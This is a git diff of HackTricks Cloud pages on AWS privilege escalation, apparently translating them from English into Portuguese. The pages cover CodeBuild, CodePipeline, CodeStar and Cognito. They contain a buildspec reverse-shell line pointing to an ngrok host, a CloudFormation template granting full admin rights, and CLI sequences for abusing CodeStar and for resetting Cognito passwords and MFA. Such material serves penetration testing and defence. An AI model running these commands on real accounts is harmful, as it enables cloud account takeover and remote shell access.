:) ``` - -You can use something like this **buildspec** to get a **reverse shell**: - +Você pode usar algo como este **buildspec** para obter um **reverse shell**: ```yaml:buildspec.yml version: 0.2 phases: - build: - commands: - - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 +build: +commands: +- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 ``` - -**Impact:** Direct privesc to the role used by the AWS CodeBuild worker that usually has high privileges. +**Impacto:** Privesc direto para a função usada pelo trabalhador do AWS CodeBuild que geralmente possui altos privilégios. > [!WARNING] -> Note that the buildspec could be expected in zip format, so an attacker would need to download, unzip, modify the `buildspec.yml` from the root directory, zip again and upload +> Note que o buildspec pode ser esperado em formato zip, então um atacante precisaria baixar, descompactar, modificar o `buildspec.yml` do diretório raiz, compactar novamente e fazer o upload -More details could be found [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). +Mais detalhes podem ser encontrados [aqui](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). -**Potential Impact:** Direct privesc to attached AWS Codebuild roles. +**Impacto Potencial:** Privesc direto para funções do AWS Codebuild anexadas. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md index 0662ae9e2..03b619921 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md @@ -4,7 +4,7 @@ ## codepipeline -For more info about codepipeline check: +Para mais informações sobre codepipeline, consulte: {{#ref}} ../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -12,13 +12,13 @@ For more info about codepipeline check: ### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution` -When creating a code pipeline you can indicate a **codepipeline IAM Role to run**, therefore you could compromise them. +Ao criar um pipeline de código, você pode indicar um **IAM Role do codepipeline para executar**, portanto, você poderia comprometê-los. -Apart from the previous permissions you would need **access to the place where the code is stored** (S3, ECR, github, bitbucket...) +Além das permissões anteriores, você precisaria de **acesso ao local onde o código está armazenado** (S3, ECR, github, bitbucket...) -I tested this doing the process in the web page, the permissions indicated previously are the not List/Get ones needed to create a codepipeline, but for creating it in the web you will also need: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` +Eu testei isso fazendo o processo na página da web, as permissões indicadas anteriormente não são as List/Get necessárias para criar um codepipeline, mas para criá-lo na web você também precisará de: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` -During the **creation of the build project** you can indicate a **command to run** (rev shell?) and to run the build phase as **privileged user**, that's the configuration the attacker needs to compromise: +Durante a **criação do projeto de build**, você pode indicar um **comando para executar** (rev shell?) e executar a fase de build como **usuário privilegiado**, essa é a configuração que o atacante precisa para comprometer: ![](<../../../images/image (276).png>) @@ -26,16 +26,12 @@ During the **creation of the build project** you can indicate a **command to run ### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution` -It might be possible to modify the role used and the command executed on a codepipeline with the previous permissions. +Pode ser possível modificar o papel usado e o comando executado em um codepipeline com as permissões anteriores. ### `codepipeline:pollforjobs` -[AWS mentions](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): +[AWS menciona](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): -> When this API is called, CodePipeline **returns temporary credentials for the S3 bucket** used to store artifacts for the pipeline, if the action requires access to that S3 bucket for input or output artifacts. This API also **returns any secret values defined for the action**. +> Quando esta API é chamada, o CodePipeline **retorna credenciais temporárias para o bucket S3** usado para armazenar artefatos para o pipeline, se a ação requer acesso a esse bucket S3 para artefatos de entrada ou saída. Esta API também **retorna quaisquer valores secretos definidos para a ação**. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md index 387c6ffff..074f8a0a8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md @@ -4,7 +4,7 @@ ## Codestar -You can find more information about codestar in: +Você pode encontrar mais informações sobre codestar em: {{#ref}} codestar-createproject-codestar-associateteammember.md @@ -12,7 +12,7 @@ codestar-createproject-codestar-associateteammember.md ### `iam:PassRole`, `codestar:CreateProject` -With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**. Check the following page: +Com essas permissões, você pode **abusar de um papel IAM do codestar** para realizar **ações arbitrárias** através de um **template de cloudformation**. Confira a página a seguir: {{#ref}} iam-passrole-codestar-createproject.md @@ -20,14 +20,13 @@ iam-passrole-codestar-createproject.md ### `codestar:CreateProject`, `codestar:AssociateTeamMember` -This technique uses `codestar:CreateProject` to create a codestar project, and `codestar:AssociateTeamMember` to make an IAM user the **owner** of a new CodeStar **project**, which will grant them a **new policy with a few extra permissions**. - +Esta técnica usa `codestar:CreateProject` para criar um projeto codestar, e `codestar:AssociateTeamMember` para tornar um usuário IAM o **proprietário** de um novo **projeto** CodeStar, o que lhes concederá uma **nova política com algumas permissões extras**. ```bash PROJECT_NAME="supercodestar" aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \ - --name $PROJECT_NAME \ - --id $PROJECT_NAME +--name $PROJECT_NAME \ +--id $PROJECT_NAME echo "Waiting 1min to start the project" sleep 60 @@ -35,15 +34,14 @@ sleep 60 USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"') aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \ - --project-id $PROJECT_NAME \ - --user-arn "$USER_ARN" \ - --project-role "Owner" \ - --remote-access-allowed +--project-id $PROJECT_NAME \ +--user-arn "$USER_ARN" \ +--project-role "Owner" \ +--remote-access-allowed ``` +Se você já é um **membro do projeto**, pode usar a permissão **`codestar:UpdateTeamMember`** para **atualizar seu papel** para proprietário em vez de `codestar:AssociateTeamMember`. -If you are already a **member of the project** you can use the permission **`codestar:UpdateTeamMember`** to **update your role** to owner instead of `codestar:AssociateTeamMember` - -**Potential Impact:** Privesc to the codestar policy generated. You can find an example of that policy in: +**Impacto Potencial:** Privesc para a política codestar gerada. Você pode encontrar um exemplo dessa política em: {{#ref}} codestar-createproject-codestar-associateteammember.md @@ -51,27 +49,23 @@ codestar-createproject-codestar-associateteammember.md ### `codestar:CreateProjectFromTemplate` -1. **Create a New Project:** - - Utilize the **`codestar:CreateProjectFromTemplate`** action to initiate the creation of a new project. - - Upon successful creation, access is automatically granted for **`cloudformation:UpdateStack`**. - - This access specifically targets a stack associated with the `CodeStarWorker--CloudFormation` IAM role. -2. **Update the Target Stack:** - - With the granted CloudFormation permissions, proceed to update the specified stack. - - The stack's name will typically conform to one of two patterns: - - `awscodestar--infrastructure` - - `awscodestar--lambda` - - The exact name depends on the chosen template (referencing the example exploit script). -3. **Access and Permissions:** - - Post-update, you obtain the capabilities assigned to the **CloudFormation IAM role** linked with the stack. - - Note: This does not inherently provide full administrator privileges. Additional misconfigured resources within the environment might be required to elevate privileges further. +1. **Criar um Novo Projeto:** +- Utilize a ação **`codestar:CreateProjectFromTemplate`** para iniciar a criação de um novo projeto. +- Após a criação bem-sucedida, o acesso é automaticamente concedido para **`cloudformation:UpdateStack`**. +- Este acesso visa especificamente uma pilha associada ao papel IAM `CodeStarWorker--CloudFormation`. +2. **Atualizar a Pilha Alvo:** +- Com as permissões do CloudFormation concedidas, prossiga para atualizar a pilha especificada. +- O nome da pilha geralmente seguirá um dos dois padrões: +- `awscodestar--infrastructure` +- `awscodestar--lambda` +- O nome exato depende do modelo escolhido (referenciando o script de exploração de exemplo). +3. **Acesso e Permissões:** +- Após a atualização, você obtém as capacidades atribuídas ao **papel IAM do CloudFormation** vinculado à pilha. +- Nota: Isso não fornece inherentemente privilégios de administrador completos. Recursos mal configurados adicionais dentro do ambiente podem ser necessários para elevar ainda mais os privilégios. -For more information check the original research: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\ -You can find the exploit in [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) +Para mais informações, consulte a pesquisa original: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\ +Você pode encontrar a exploração em [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) -**Potential Impact:** Privesc to cloudformation IAM role. +**Impacto Potencial:** Privesc para o papel IAM do cloudformation. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md index 0de95738e..274ba2fcd 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md @@ -2,84 +2,78 @@ {{#include ../../../../banners/hacktricks-training.md}} -This is the created policy the user can privesc to (the project name was `supercodestar`): - +Esta é a política criada que o usuário pode escalar privilégios para (o nome do projeto era `supercodestar`): ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "1", - "Effect": "Allow", - "Action": ["codestar:*", "iam:GetPolicy*", "iam:ListPolicyVersions"], - "Resource": [ - "arn:aws:codestar:eu-west-1:947247140022:project/supercodestar", - "arn:aws:events:eu-west-1:947247140022:rule/awscodestar-supercodestar-SourceEvent", - "arn:aws:iam::947247140022:policy/CodeStar_supercodestar_Owner" - ] - }, - { - "Sid": "2", - "Effect": "Allow", - "Action": [ - "codestar:DescribeUserProfile", - "codestar:ListProjects", - "codestar:ListUserProfiles", - "codestar:VerifyServiceRole", - "cloud9:DescribeEnvironment*", - "cloud9:ValidateEnvironmentName", - "cloudwatch:DescribeAlarms", - "cloudwatch:GetMetricStatistics", - "cloudwatch:ListMetrics", - "codedeploy:BatchGet*", - "codedeploy:List*", - "codestar-connections:UseConnection", - "ec2:DescribeInstanceTypeOfferings", - "ec2:DescribeInternetGateways", - "ec2:DescribeNatGateways", - "ec2:DescribeRouteTables", - "ec2:DescribeSecurityGroups", - "ec2:DescribeSubnets", - "ec2:DescribeVpcs", - "events:ListRuleNamesByTarget", - "iam:GetAccountSummary", - "iam:GetUser", - "iam:ListAccountAliases", - "iam:ListRoles", - "iam:ListUsers", - "lambda:List*", - "sns:List*" - ], - "Resource": ["*"] - }, - { - "Sid": "3", - "Effect": "Allow", - "Action": [ - "codestar:*UserProfile", - "iam:GenerateCredentialReport", - "iam:GenerateServiceLastAccessedDetails", - "iam:CreateAccessKey", - "iam:UpdateAccessKey", - "iam:DeleteAccessKey", - "iam:UpdateSSHPublicKey", - "iam:UploadSSHPublicKey", - "iam:DeleteSSHPublicKey", - "iam:CreateServiceSpecificCredential", - "iam:UpdateServiceSpecificCredential", - "iam:DeleteServiceSpecificCredential", - "iam:ResetServiceSpecificCredential", - "iam:Get*", - "iam:List*" - ], - "Resource": ["arn:aws:iam::947247140022:user/${aws:username}"] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "1", +"Effect": "Allow", +"Action": ["codestar:*", "iam:GetPolicy*", "iam:ListPolicyVersions"], +"Resource": [ +"arn:aws:codestar:eu-west-1:947247140022:project/supercodestar", +"arn:aws:events:eu-west-1:947247140022:rule/awscodestar-supercodestar-SourceEvent", +"arn:aws:iam::947247140022:policy/CodeStar_supercodestar_Owner" +] +}, +{ +"Sid": "2", +"Effect": "Allow", +"Action": [ +"codestar:DescribeUserProfile", +"codestar:ListProjects", +"codestar:ListUserProfiles", +"codestar:VerifyServiceRole", +"cloud9:DescribeEnvironment*", +"cloud9:ValidateEnvironmentName", +"cloudwatch:DescribeAlarms", +"cloudwatch:GetMetricStatistics", +"cloudwatch:ListMetrics", +"codedeploy:BatchGet*", +"codedeploy:List*", +"codestar-connections:UseConnection", +"ec2:DescribeInstanceTypeOfferings", +"ec2:DescribeInternetGateways", +"ec2:DescribeNatGateways", +"ec2:DescribeRouteTables", +"ec2:DescribeSecurityGroups", +"ec2:DescribeSubnets", +"ec2:DescribeVpcs", +"events:ListRuleNamesByTarget", +"iam:GetAccountSummary", +"iam:GetUser", +"iam:ListAccountAliases", +"iam:ListRoles", +"iam:ListUsers", +"lambda:List*", +"sns:List*" +], +"Resource": ["*"] +}, +{ +"Sid": "3", +"Effect": "Allow", +"Action": [ +"codestar:*UserProfile", +"iam:GenerateCredentialReport", +"iam:GenerateServiceLastAccessedDetails", +"iam:CreateAccessKey", +"iam:UpdateAccessKey", +"iam:DeleteAccessKey", +"iam:UpdateSSHPublicKey", +"iam:UploadSSHPublicKey", +"iam:DeleteSSHPublicKey", +"iam:CreateServiceSpecificCredential", +"iam:UpdateServiceSpecificCredential", +"iam:DeleteServiceSpecificCredential", +"iam:ResetServiceSpecificCredential", +"iam:Get*", +"iam:List*" +], +"Resource": ["arn:aws:iam::947247140022:user/${aws:username}"] +} +] } ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md index 891d72df5..7eef4836a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md @@ -2,42 +2,39 @@ {{#include ../../../../banners/hacktricks-training.md}} -With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**. - -To exploit this you need to create a **S3 bucket that is accessible** from the attacked account. Upload a file called `toolchain.json` . This file should contain the **cloudformation template exploit**. The following one can be used to set a managed policy to a user under your control and **give it admin permissions**: +Com essas permissões, você pode **abusar de um papel IAM do codestar** para realizar **ações arbitrárias** através de um **template de cloudformation**. +Para explorar isso, você precisa criar um **bucket S3 que seja acessível** a partir da conta atacada. Faça o upload de um arquivo chamado `toolchain.json`. Este arquivo deve conter o **exploit do template de cloudformation**. O seguinte pode ser usado para definir uma política gerenciada para um usuário sob seu controle e **dar permissões de administrador**: ```json:toolchain.json { - "Resources": { - "supercodestar": { - "Type": "AWS::IAM::ManagedPolicy", - "Properties": { - "ManagedPolicyName": "CodeStar_supercodestar", - "PolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": "*", - "Resource": "*" - } - ] - }, - "Users": [""] - } - } - } +"Resources": { +"supercodestar": { +"Type": "AWS::IAM::ManagedPolicy", +"Properties": { +"ManagedPolicyName": "CodeStar_supercodestar", +"PolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "*", +"Resource": "*" +} +] +}, +"Users": [""] +} +} +} } ``` - -Also **upload** this `empty zip` file to the **bucket**: +Também **faça o upload** deste arquivo `empty zip` para o **bucket**: {% file src="../../../../images/empty.zip" %} -Remember that the **bucket with both files must be accessible by the victim account**. - -With both things uploaded you can now proceed to the **exploitation** creating a **codestar** project: +Lembre-se de que o **bucket com ambos os arquivos deve ser acessível pela conta da vítima**. +Com ambas as coisas carregadas, você pode agora prosseguir para a **exploitation** criando um projeto **codestar**: ```bash PROJECT_NAME="supercodestar" @@ -45,19 +42,19 @@ PROJECT_NAME="supercodestar" ## In this JSON the bucket and key (path) to the empry.zip file is used SOURCE_CODE_PATH="/tmp/surce_code.json" SOURCE_CODE="[ - { - \"source\": { - \"s3\": { - \"bucketName\": \"privesc\", - \"bucketKey\": \"empty.zip\" - } - }, - \"destination\": { - \"codeCommit\": { - \"name\": \"$PROJECT_NAME\" - } - } - } +{ +\"source\": { +\"s3\": { +\"bucketName\": \"privesc\", +\"bucketKey\": \"empty.zip\" +} +}, +\"destination\": { +\"codeCommit\": { +\"name\": \"$PROJECT_NAME\" +} +} +} ]" printf "$SOURCE_CODE" > $SOURCE_CODE_PATH @@ -65,28 +62,23 @@ printf "$SOURCE_CODE" > $SOURCE_CODE_PATH ## In this JSON the bucket and key (path) to the toolchain.json file is used TOOLCHAIN_PATH="/tmp/tool_chain.json" TOOLCHAIN="{ - \"source\": { - \"s3\": { - \"bucketName\": \"privesc\", - \"bucketKey\": \"toolchain.json\" - } - }, - \"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\" +\"source\": { +\"s3\": { +\"bucketName\": \"privesc\", +\"bucketKey\": \"toolchain.json\" +} +}, +\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\" }" printf "$TOOLCHAIN" > $TOOLCHAIN_PATH # Create the codestar project that will use the cloudformation epxloit to privesc aws codestar create-project \ - --name $PROJECT_NAME \ - --id $PROJECT_NAME \ - --source-code file://$SOURCE_CODE_PATH \ - --toolchain file://$TOOLCHAIN_PATH +--name $PROJECT_NAME \ +--id $PROJECT_NAME \ +--source-code file://$SOURCE_CODE_PATH \ +--toolchain file://$TOOLCHAIN_PATH ``` - -This exploit is based on the **Pacu exploit of these privileges**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) On it you can find a variation to create an admin managed policy for a role instead of to a user. +Este exploit é baseado no **exploit Pacu dessas permissões**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Nele você pode encontrar uma variação para criar uma política gerenciada de administrador para um papel em vez de para um usuário. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md index ddd0c1efd..b1636670a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md @@ -4,28 +4,27 @@ ## Cognito -For more info about Cognito check: +Para mais informações sobre o Cognito, consulte: {{#ref}} ../aws-services/aws-cognito-enum/ {{#endref}} -### Gathering credentials from Identity Pool +### Coletando credenciais do Identity Pool -As Cognito can grant **IAM role credentials** to both **authenticated** an **unauthenticated** **users**, if you locate the **Identity Pool ID** of an application (should be hardcoded on it) you can obtain new credentials and therefore privesc (inside an AWS account where you probably didn't even have any credential previously). +Como o Cognito pode conceder **credenciais de função IAM** tanto para **usuários autenticados** quanto para **usuários não autenticados**, se você localizar o **ID do Identity Pool** de um aplicativo (deve estar codificado nele), você pode obter novas credenciais e, portanto, privesc (dentro de uma conta AWS onde você provavelmente não tinha nenhuma credencial anteriormente). -For more information [**check this page**](../aws-unauthenticated-enum-access/#cognito). +Para mais informações [**verifique esta página**](../aws-unauthenticated-enum-access/#cognito). -**Potential Impact:** Direct privesc to the services role attached to unauth users (and probably to the one attached to auth users). +**Impacto Potencial:** Privesc direto para a função de serviços anexada a usuários não autenticados (e provavelmente para a que está anexada a usuários autenticados). ### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole` -With this permission you can **grant any cognito role** to the authenticated/unauthenticated users of the cognito app. - +Com esta permissão, você pode **conceder qualquer função do cognito** aos usuários autenticados/não autenticados do aplicativo cognito. ```bash aws cognito-identity set-identity-pool-roles \ - --identity-pool-id \ - --roles unauthenticated= +--identity-pool-id \ +--roles unauthenticated= # Get credentials ## Get one ID @@ -33,286 +32,243 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90 ## Get creds for that id aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ``` +Se o aplicativo cognito **não tiver usuários não autenticados habilitados**, você pode precisar também da permissão `cognito-identity:UpdateIdentityPool` para habilitá-la. -If the cognito app **doesn't have unauthenticated users enabled** you might need also the permission `cognito-identity:UpdateIdentityPool` to enable it. - -**Potential Impact:** Direct privesc to any cognito role. +**Impacto Potencial:** Privesc direto para qualquer função cognito. ### `cognito-identity:update-identity-pool` -An attacker with this permission could set for example a Cognito User Pool under his control or any other identity provider where he can login as a **way to access this Cognito Identity Pool**. Then, just **login** on that user provider will **allow him to access the configured authenticated role in the Identity Pool**. - +Um atacante com essa permissão poderia definir, por exemplo, um Cognito User Pool sob seu controle ou qualquer outro provedor de identidade onde ele possa fazer login como uma **maneira de acessar este Cognito Identity Pool**. Então, apenas **fazer login** nesse provedor de usuários **lhe permitirá acessar a função autenticada configurada no Identity Pool**. ```bash # This example is using a Cognito User Pool as identity provider ## but you could use any other identity provider aws cognito-identity update-identity-pool \ - --identity-pool-id \ - --identity-pool-name \ - [--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \ - --cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false +--identity-pool-id \ +--identity-pool-name \ +[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \ +--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false # Now you need to login to the User Pool you have configured ## after having the id token of the login continue with the following commands: # In this step you should have already an ID Token aws cognito-identity get-id \ - --identity-pool-id \ - --logins cognito-idp..amazonaws.com/= +--identity-pool-id \ +--logins cognito-idp..amazonaws.com/= # Get the identity_id from thr previous commnad response aws cognito-identity get-credentials-for-identity \ - --identity-id \ - --logins cognito-idp..amazonaws.com/= +--identity-id \ +--logins cognito-idp..amazonaws.com/= ``` - -It's also possible to **abuse this permission to allow basic auth**: - +É também possível **abusar dessa permissão para permitir autenticação básica**: ```bash aws cognito-identity update-identity-pool \ - --identity-pool-id \ - --identity-pool-name \ - --allow-unauthenticated-identities - --allow-classic-flow +--identity-pool-id \ +--identity-pool-name \ +--allow-unauthenticated-identities +--allow-classic-flow ``` - -**Potential Impact**: Compromise the configured authenticated IAM role inside the identity pool. +**Impacto Potencial**: Comprometer o IAM role autenticado configurado dentro do pool de identidade. ### `cognito-idp:AdminAddUserToGroup` -This permission allows to **add a Cognito user to a Cognito group**, therefore an attacker could abuse this permission to add an user under his control to other groups with **better** privileges or **different IAM roles**: - +Esta permissão permite **adicionar um usuário Cognito a um grupo Cognito**, portanto, um atacante poderia abusar dessa permissão para adicionar um usuário sob seu controle a outros grupos com **melhores** privilégios ou **diferentes IAM roles**: ```bash aws cognito-idp admin-add-user-to-group \ - --user-pool-id \ - --username \ - --group-name +--user-pool-id \ +--username \ +--group-name ``` - -**Potential Impact:** Privesc to other Cognito groups and IAM roles attached to User Pool Groups. +**Impacto Potencial:** Privesc para outros grupos Cognito e funções IAM anexadas a Grupos de Pool de Usuários. ### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole` -An attacker with these permissions could **create/update groups** with **every IAM role that can be used by a compromised Cognito Identity Provider** and make a compromised user part of the group, accessing all those roles: - +Um atacante com essas permissões poderia **criar/atualizar grupos** com **todas as funções IAM que podem ser usadas por um Provedor de Identidade Cognito comprometido** e fazer um usuário comprometido parte do grupo, acessando todas essas funções: ```bash aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn ``` - -**Potential Impact:** Privesc to other Cognito IAM roles. +**Impacto Potencial:** Privesc para outros papéis IAM do Cognito. ### `cognito-idp:AdminConfirmSignUp` -This permission allows to **verify a signup**. By default anyone can sign in Cognito applications, if that is left, a user could create an account with any data and verify it with this permission. - +Esta permissão permite **verificar um cadastro**. Por padrão, qualquer pessoa pode se inscrever em aplicações Cognito; se isso for deixado, um usuário poderia criar uma conta com qualquer dado e verificá-la com esta permissão. ```bash aws cognito-idp admin-confirm-sign-up \ - --user-pool-id \ - --username +--user-pool-id \ +--username ``` - -**Potential Impact:** Indirect privesc to the identity pool IAM role for authenticated users if you can register a new user. Indirect privesc to other app functionalities being able to confirm any account. +**Impacto Potencial:** Privesc indireto para o papel IAM do pool de identidade para usuários autenticados se você puder registrar um novo usuário. Privesc indireto para outras funcionalidades do aplicativo podendo confirmar qualquer conta. ### `cognito-idp:AdminCreateUser` -This permission would allow an attacker to create a new user inside the user pool. The new user is created as enabled, but will need to change its password. - +Esta permissão permitiria que um atacante criasse um novo usuário dentro do pool de usuários. O novo usuário é criado como habilitado, mas precisará alterar sua senha. ```bash aws cognito-idp admin-create-user \ - --user-pool-id \ - --username \ - [--user-attributes ] ([Name=email,Value=email@gmail.com]) - [--validation-data ] - [--temporary-password ] +--user-pool-id \ +--username \ +[--user-attributes ] ([Name=email,Value=email@gmail.com]) +[--validation-data ] +[--temporary-password ] ``` - -**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user +**Impacto Potencial:** Privesc direto para o papel IAM do pool de identidade para usuários autenticados. Privesc indireto para outras funcionalidades do aplicativo, podendo criar qualquer usuário. ### `cognito-idp:AdminEnableUser` -This permissions can help in. a very edge-case scenario where an attacker found the credentials of a disabled user and he needs to **enable it again**. - +Essas permissões podem ajudar em um cenário muito específico onde um atacante encontrou as credenciais de um usuário desativado e precisa **reativá-lo**. ```bash aws cognito-idp admin-enable-user \ - --user-pool-id \ - --username +--user-pool-id \ +--username ``` - -**Potential Impact:** Indirect privesc to the identity pool IAM role for authenticated users and permissions of the user if the attacker had credentials for a disabled user. +**Impacto Potencial:** Privesc indireto para o papel IAM do pool de identidade para usuários autenticados e permissões do usuário se o atacante tivesse credenciais de um usuário desativado. ### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`** -This permission allows to login with the [**method ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** For more information follow the link. +Esta permissão permite fazer login com o [**método ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Para mais informações, siga o link. ### `cognito-idp:AdminSetUserPassword` -This permission would allow an attacker to **change the password of any user**, making him able to impersonate any user (that doesn't have MFA enabled). - +Esta permissão permitiria que um atacante **mudasse a senha de qualquer usuário**, tornando-o capaz de se passar por qualquer usuário (que não tenha MFA habilitado). ```bash aws cognito-idp admin-set-user-password \ - --user-pool-id \ - --username \ - --password \ - --permanent +--user-pool-id \ +--username \ +--password \ +--permanent ``` - -**Potential Impact:** Direct privesc to potentially any user, so access to all the groups each user is member of and access to the Identity Pool authenticated IAM role. +**Impacto Potencial:** Privesc direto para potencialmente qualquer usuário, então acesso a todos os grupos dos quais cada usuário é membro e acesso ao papel IAM autenticado do Identity Pool. ### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool` -**AdminSetUserSettings**: An attacker could potentially abuse this permission to set a mobile phone under his control as **SMS MFA of a user**. - +**AdminSetUserSettings**: Um atacante poderia potencialmente abusar dessa permissão para definir um telefone móvel sob seu controle como **SMS MFA de um usuário**. ```bash aws cognito-idp admin-set-user-settings \ - --user-pool-id \ - --username \ - --mfa-options +--user-pool-id \ +--username \ +--mfa-options ``` - -**SetUserMFAPreference:** Similar to the previous one this permission can be used to set MFA preferences of a user to bypass the MFA protection. - +**SetUserMFAPreference:** Semelhante ao anterior, esta permissão pode ser usada para definir as preferências de MFA de um usuário para contornar a proteção de MFA. ```bash aws cognito-idp admin-set-user-mfa-preference \ - [--sms-mfa-settings ] \ - [--software-token-mfa-settings ] \ - --username \ - --user-pool-id +[--sms-mfa-settings ] \ +[--software-token-mfa-settings ] \ +--username \ +--user-pool-id ``` - -**SetUserPoolMfaConfig**: Similar to the previous one this permission can be used to set MFA preferences of a user pool to bypass the MFA protection. - +**SetUserPoolMfaConfig**: Semelhante ao anterior, esta permissão pode ser usada para definir as preferências de MFA de um pool de usuários para contornar a proteção de MFA. ```bash aws cognito-idp set-user-pool-mfa-config \ - 